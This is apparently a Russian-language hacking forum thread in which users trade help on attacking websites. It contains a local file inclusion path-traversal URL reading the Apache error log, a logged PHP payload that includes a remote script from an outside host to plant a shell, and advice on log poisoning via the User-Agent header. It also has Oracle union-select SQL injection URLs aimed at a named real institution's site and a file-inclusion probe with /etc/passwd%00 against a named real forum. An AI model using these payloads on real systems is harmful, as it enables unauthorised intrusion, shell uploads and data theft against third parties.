нет.

http://xxx.com/index.php?id=

Делаю такой запрос ч-з адресную строку

Перехожу:

http://xxx.com/index.php?id=../../../../../../../../../../../../../../../var/log/httpd/error_log%00

в логах

[Mon Nov 22 16:10:39 2010] [error] [client 222.222.222.222] File does not exist: /home/hgjhgjhgjhgjhg/favicon.ico, referer: http://xxx.com/index.php?id=%3C?php%20include(%22http://123.narod.ru/list.php%22);%20?%3E%00 [Mon Nov 22 16:10:41 2010] [error]

т.е. не пишется что он передался ч-з гет. хотя другие записи с гет есть.

access_log огромных размеров но в вверху вообще нет записей моего ip.

Ч-з какую прогу можно отправить правильный запрос чтобы залить шелл(inetcrack или аналоги) help plz

2 ALIM

смотри в акцесс_лог е, должно запысыватся USER_AGENT

если есть, то через тампер дату легко залить

Да сейчас посмотрел есть юзер-агент, спасибо)

Здесь возможно обойти фильтрацию?

http://www.oeaw.ac.at/oeaw_servlet/e_PersonenDetailsGeneric?id=12361+asdunionasdselec tasd+1,2,3,4,5,6,7,8,9,10,11,12+--+

это оракл:

http://www.oeaw.ac.at/oeaw_servlet/e_PersonenDetailsGeneric?id=12361+and+1=0+union+se lect+1111,null,null,null,null,null,null,null,null, null,null,null+from+sys.dual--

вывод в верхнем меню, где deutsch:

href="/oeaw_servlet/PersonenDetailsGeneric?id=1111"

с ораклом не сталкивался, поэтому как дальше крутить пока не могу подсказать

Thanks! и +++++++++++

забрел на форум avira, оказался на ссылке http://forum.avira.com/wbb/index.php?page=LegalNotice, подставив вместо LegalNotice index, я вышел на index.php, т. е. http://forum.avira.com/wbb/index.php == http://forum.avira.com/wbb/index.php?page=index

является ли это инклудом(пытался другие страницы, /etc/passwd%00 и т.д., пишет, что страница не найдена)?

подскажите код, могу создавать страницы на сайте

выполняется команда показа информации о php

как сделать так чтобы можно было залить на сервер файл с другого сайта?

на большой код разных шеллов ругается

Parse error: syntax error, unexpected '>' in с:\xxx\www\includes\common.inc(1695) : eval()'d code on line 1

пробовал так тоже не получается